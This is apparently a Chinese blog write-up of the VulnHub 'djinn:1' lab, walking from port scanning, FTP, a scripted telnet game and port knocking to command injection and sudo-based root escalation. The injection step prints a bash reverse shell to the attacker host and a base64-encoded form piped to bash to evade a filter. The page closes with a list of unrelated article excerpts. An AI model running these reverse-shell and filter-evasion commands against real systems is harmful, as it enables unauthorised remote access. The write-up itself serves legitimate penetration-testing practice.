djinn:1 靶场学习小记
一、测试环境:
kail攻击机:Get Kali | Kali Linux
靶场镜像:https://download.vulnhub.com/djinn/djinn.ova
描述: 该机器与 VirtualBox 和 VMWare 兼容。DHCP 将自动分配一个 IP。您将在登录屏幕上看到 IP。您必须找到并读取分别存在于 user.txt 和 root.txt 中的两个标志(user 和 root)。
二、测试过程
1、端口扫描
靶机开机给出目标地址,使用nmap进行端口扫描,tcp和udp都扫一下,多扫两边
扫描已找到的端口服务版本信息等

nmap漏洞脚本扫描端口服务,没什么有效信息

2、服务漏洞查找
a、FTP服务匿名访问
尝试允许匿名访问,下载文件

查看文件,creds.txt中有一个nitu:81299,账号密码?先保留。
game.txt文件中提到1337端口有一个游戏,通过最后一关会有奖品,保留信息。
message.txt文件中提到@nitish81299,后面没啥用,和第一个文件中有重复,没明白。

b、1337端口数字游戏
先看看1337端口是个数字游戏,需要回答1000次才能通过(实际回答了1001次),自己不会写,用AI写了个python脚本跑一下。

python脚本如下:
import telnetlib import re# 目标服务器的IP和端口 host = "192.168.229.151" port = 1337# 建立Telnet连接 tn = telnetlib.Telnet(host, port)# 用于匹配运算表达式的正则表达式 pattern = re.compile(r'\((\d+), \'([+\-*/])\', (\d+)\)')count = 0 while count < 1002:data = tn.read_until(b'>').decode('utf-8')print(data)match = pattern.search(data)if match:num1 = int(match.group(1))operator = match.group(2)num2 = int(match.group(3))result = Noneif operator == '+':result = num1 + num2elif operator == '-':result = num1 - num2elif operator == '*':result = num1 * num2elif operator == '/':result = num1 // num2tn.write(f"{result}\n".encode('utf-8'))count += 1tn.close()

跑完发现三个数组,可能是端口号,尝试telnet发现不同通,网上看贴子博主说是knock:
端口敲门是一种通过按照特定顺序向服务器的一系列端口发送连接请求(通常是 TCP 或 UDP 数据包)来触发某种动作(如开放特定隐藏服务端口、允许访问等)的技术。其目的在于增加服务器安全性,让服务对于未按特定敲门序列进行访问尝试的外部连接保持隐匿状态,只有知道正确敲门序列的客户端才能最终获得所需服务的访问权限。

那就使用kali自带的knock工具敲一下端口,然后telnet 22果然通了,目前没账号密码,爆破也没用,先放着

c、7331端口WEB服务
端口扫描看到7331端口为http,访问到一个界面,没找到什么有效信息

对网站目录扫描
dirsearch目录扫描,默认没扫出来,使用dirbuster字典扫到两个路径
dirsearch -u http://192.168.229.151:7331 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt



3、获取低权限shell
访问/wish页面,看到一个类似可执行的输入框,尝试能否执行命令

查看源码,存在命令执行,且有回显,可以尝试反弹shell

生成一个反弹shell,写入对话框,kali机监听8080端口,web页面执行反弹shell,查看源码发现回显报错“Wrong choice of words”,提示单词错误,可能有过滤,使用base64编码测试成功
原反弹shell:
bash -i >& /dev/tcp/192.168.229.152/8080 0>&1
base64编码后,做解码的反弹shell:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xNTIvODA4MCAwPiYx|base64 -d |bash

获取shell之后要做的第一件事是获取一个tty,因为在执行有些命令发现提示“su: must be run from a terminal”
python获取tty
python -c 'import pty;pty.spawn("/bin/bash")'

发现当前目录下有两个文件夹,三个文件,寻找有效信息,打开app.py发现是做了过滤操作,且有一个/home/nitish/.dev/creds.txt文件也被过滤,先留着

找到一个user.txt,但是权限不够,没看到root.txt,估计只有root权限才能看到

那就再看看/home/nitish/.dev/creds.txt文件

似乎是一组账户密码,直接su过去试试,可以登录

切换当前用户目录,查看第一个flag

4、权限提升
使用sudo -l查看,发现sam用户执行genie命令不需要密码

查看genie命令使用方法,-h查看用法不全,使用man命令查看说明

发现共有五个选项可使用,-p "/bin/sh"没用

-cmd选项可以直接进入sam用户权限

再次使用sudo -l 命令查看有一个/root/lago命令,sudo -u root /root/lago需要sam密码,sudo /root/lago可以使用,进入四个选项都没找到有效信息


无果后,使用find查找可写入文件
find / -writable -type f 2>/dev/null

发现一个python编译后的文件,导出反编译查看代码发现回答第二个问题时输入变量名num,将执行/bin/sh
反编译结果:
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 2.7from getpass import getuser
from os import system
from random import randintdef naughtyboi():
print 'Working on it!! '
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'if __name__ == '__main__':
main(options())
再次使用sudo /root/lago,进入第二个问题,输入num进入root权限,使用find查找root.txt没找到,进入root目录下看到proof.sh可执行文件,查看或者执行拿到最后的flag

相关文章:
djinn:1 靶场学习小记
一、测试环境: kail攻击机:Get Kali | Kali Linux 靶场镜像:https://download.vulnhub.com/djinn/djinn.ova 描述: 该机器与 VirtualBox 和 VMWare 兼容。DHCP 将自动分配一个 IP。您将在登录屏幕上看到 IP。您必须找到并读取分…...
kafka消费者组和分区数之间的关系是怎样的?
消费者组和分区数之间的关系决定了Kafka中消息的消费方式和负载均衡。合理配置分区数和消费者数量对于优化Kafka的性能和资源利用率至关重要。以下是这种关系的几个关键点: 一个分区只能被同一组的一个消费者消费:这是为了保证消息的顺序性。在同一个消费…...
【go】查询某个依赖是否存在于这个代理
1. 使用 go list 命令 go list -m -versions github.com/gin-gonic/gin 如果模块存在,该命令会返回模块及其可用版本: github.com/gin-gonic/gin v1.7.0 v1.7.1 v1.8.0如果模块不存在或无法找到,会返回错误。 2. 使用 curl 查询代理服务 …...
如何从postman中导出所有集合Collection
项目场景: 有时候需要备份或迁移到其他平台,我们需要在postman中将这些集合数据导出。导出 Postman 集合是为了备份、团队共享或平台迁移等目的的重要步骤。此过程可分为导出单个集合和批量导出所有集合两部分,确保已保存和更新集合后&#x…...
在 Spring Boot 中实现多种方式登录(用户名、手机号、邮箱等)的不正经指南
欢迎来到一场技术与幽默交织的冒险!今天,我们将跳进 Spring Boot 的世界,探索如何通过 用户名、手机号、邮箱 等多种方式实现登录。想象一下,用户在登录时可以随心所欲地选择——就像你今天早上纠结到底是要喝美式咖啡还是拿铁&am…...
.NET平台用C#添加动作到PDF文档
使用C#语言在.NET框架下向PDF文档中添加动作,不仅能够提升文档的交互性和用户体验,还能够在自动化工作流中发挥关键作用,例如自动跳转至特定页面、链接外部资源或播放音频资源等操作。这种能力使得开发者能够根据具体需求定制PDF文档的互动操…...
大数据治理:概念、框架与实践应用
摘要: 随着大数据时代的到来,数据量呈爆炸式增长,数据来源和类型日益多样化。大数据治理作为确保数据质量、安全性、合规性以及有效利用数据资产的关键领域,已成为企业和组织在数字化转型过程中面临的重要挑战和机遇。本文深入探讨了大数据治理的概念,详细阐述了其涵盖的主…...
Vue.observable 全解析:Observable 是什么及使用场景剖析
Vue.observable 详解 Vue.observable 是 Vue 2.x 中的一个 API,用于将普通对象转化为响应式对象,类似于 Vue 组件中的 data 对象,可以实现数据的双向绑定。它允许你将任何普通对象转化为 Vue 响应式系统管理的对象,使得该对象的属性变化时能够自动触发视图更新。 什么是 …...
MySQL基础知识大总结
一,介绍 数据库是什么,我们在学习其他编程语言的时候会使用数组呀,链表,二叉树等等一些数据结构来存储我们的数据,但是大家有没有发现我们一旦关闭程序,所有的数据都没有了,这在发行的软件来看是…...
池化技术、Commons Pool介绍
概述 池化技术,一种通过重复利用对象实例而非频繁创建和销毁的技术。 常见的可池化对象: 数据库连接(Connection):数据库连接创建和销毁代价高,连接池广泛用于管理JDBC连接;线程(Thread):线程的创建和销…...
下载并安装Visual Studio 2017过程
一、下载 1、下载链接 下载链接:官方网址 先登录 往下滑找到较早的下载 2、进行搜索下载 或者直接点击🔗网站跳转 3、确认系统信息进行下载 二、安装 下载完成后右键使用管理员身份运行 1、点击同意后安装 2、若报错—设置失败 打开控制面板-&g…...
菊风视频能力平台开发服务正式入驻华为云云商店,成为华为云联营联运合作伙伴
日前,菊风视频能力平台开发服务正式入驻华为云云商店,成为华为云在实时音视频领域的联营联运合作伙伴。 菊风结合自身产品方案优势与华为云开放、共盈的生态优势强强联手,在推动金融行业数字化转型的路上又向前迈出了一大步。华为云云商店作为…...
springboot整合kafka
springboot整合kafka pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven…...
Python深度学习框架:PyTorch、Keras、Scikit-learn、TensorFlow如何使用?学会轻松玩转AI!
前言 我们先简单了解一下PyTorch、Keras、Scikit-learn和TensorFlow都是什么。 想象一下你要盖一座大房子。你需要砖头、水泥、工具等等,对吧?机器学习也是一样,需要一些工具来帮忙。PyTorch、Keras、Scikit-learn和TensorFlow就是四种不同的…...
【Linux】安装cuda
一、安装nvidia驱动 # 添加nvidia驱动ppa库 sudo add-apt-repository ppa:graphics-drivers/ppa sudo apt update# 查找推荐版本 sudo ubuntu-drivers devices# 安装推荐版本 sudo apt install nvidia-driver-560# 检验nvidia驱动是否安装 nvidia-smi 二、安装cudatoolkit&…...
为什么DDoS防御很贵?
分布式拒绝服务攻击(DDoS攻击)是一种常见的网络安全威胁,通过大量恶意流量使目标服务器无法提供正常服务。DDoS防御是一项复杂且昂贵的服务,本文将详细探讨为什么DDoS防御如此昂贵,并提供一些实用的代码示例和解决方案…...
将WPS的PPT 无损的用微软的PowerPoint打开
用WPS做了PPT,但是用用PowerPoint打开的时候,老是会有几张图错位。 解决方案:将wps做的PPT另存为PowerPoint的格式 参考博客:解决office的PPT和WPS的PPT不兼容的问题_office ppt和wps中代码不通用-CSDN博客 另存为的时候&#…...
【汇编】uniapp开发
UniApp是一款基于Vue.js构建的跨平台开发框架,可以用于快速开发同时运行在多个平台(包括iOS、Android、H5和小程序)的应用程序。UniApp的目标是提供一套代码即可在不同平台上运行的开发模式,从而节省开发者的时间和精力。本文将介…...
详解Oracle表的类型(二)
1.引言: Oracle数据库提供了多种表类型,以满足不同的数据存储和管理需求。本博文将对Oracle分区表及使用场景进行详细介绍。 2. 分区表 分区表是Oracle数据库中一种重要的表类型,它通过将表数据分割成多个逻辑部分来提高查询性能、管理灵活…...
Docker--通过Docker容器创建一个Web服务器
Web服务器 Web服务器,一般指网站服务器,是驻留于因特网上某种类型计算机的程序。 Web服务器可以向浏览器等Web客户端提供文档,也可以放置网站文件以供全世界浏览,或放置数据文件以供全世界下载。 Web服务器的主要功能是提供网上…...
PHP和Node.js哪个更爽?
先说结论,rust完胜。 php:laravel,swoole,webman,最开始在苏宁的时候写了几年php,当时觉得php真的是世界上最好的语言,因为当初活在舒适圈里,不愿意跳出来,就好比当初活在…...
鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/
使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题:docker pull 失败 网络不同,需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...
基于Java Swing的电子通讯录设计与实现:附系统托盘功能代码详解
JAVASQL电子通讯录带系统托盘 一、系统概述 本电子通讯录系统采用Java Swing开发桌面应用,结合SQLite数据库实现联系人管理功能,并集成系统托盘功能提升用户体验。系统支持联系人的增删改查、分组管理、搜索过滤等功能,同时可以最小化到系统…...
代码规范和架构【立芯理论一】(2025.06.08)
1、代码规范的目标 代码简洁精炼、美观,可持续性好高效率高复用,可移植性好高内聚,低耦合没有冗余规范性,代码有规可循,可以看出自己当时的思考过程特殊排版,特殊语法,特殊指令,必须…...
【Android】Android 开发 ADB 常用指令
查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...
WebRTC从入门到实践 - 零基础教程
WebRTC从入门到实践 - 零基础教程 目录 WebRTC简介 基础概念 工作原理 开发环境搭建 基础实践 三个实战案例 常见问题解答 1. WebRTC简介 1.1 什么是WebRTC? WebRTC(Web Real-Time Communication)是一个支持网页浏览器进行实时语音…...
Java求职者面试指南:Spring、Spring Boot、Spring MVC与MyBatis技术解析
Java求职者面试指南:Spring、Spring Boot、Spring MVC与MyBatis技术解析 一、第一轮基础概念问题 1. Spring框架的核心容器是什么?它的作用是什么? Spring框架的核心容器是IoC(控制反转)容器。它的主要作用是管理对…...
基于江科大stm32屏幕驱动,实现OLED多级菜单(动画效果),结构体链表实现(独创源码)
引言 在嵌入式系统中,用户界面的设计往往直接影响到用户体验。本文将以STM32微控制器和OLED显示屏为例,介绍如何实现一个多级菜单系统。该系统支持用户通过按键导航菜单,执行相应操作,并提供平滑的滚动动画效果。 本文设计了一个…...
【若依】框架项目部署笔记
参考【SpringBoot】【Vue】项目部署_no main manifest attribute, in springboot-0.0.1-sn-CSDN博客 多一个redis安装 准备工作: 压缩包下载:http://download.redis.io/releases 1. 上传压缩包,并进入压缩包所在目录,解压到目标…...
数据库正常,但后端收不到数据原因及解决
从代码和日志来看,后端SQL查询确实返回了数据,但最终user对象却为null。这表明查询结果没有正确映射到User对象上。 在前后端分离,并且ai辅助开发的时候,很容易出现前后端变量名不一致情况,还不报错,只是单…...
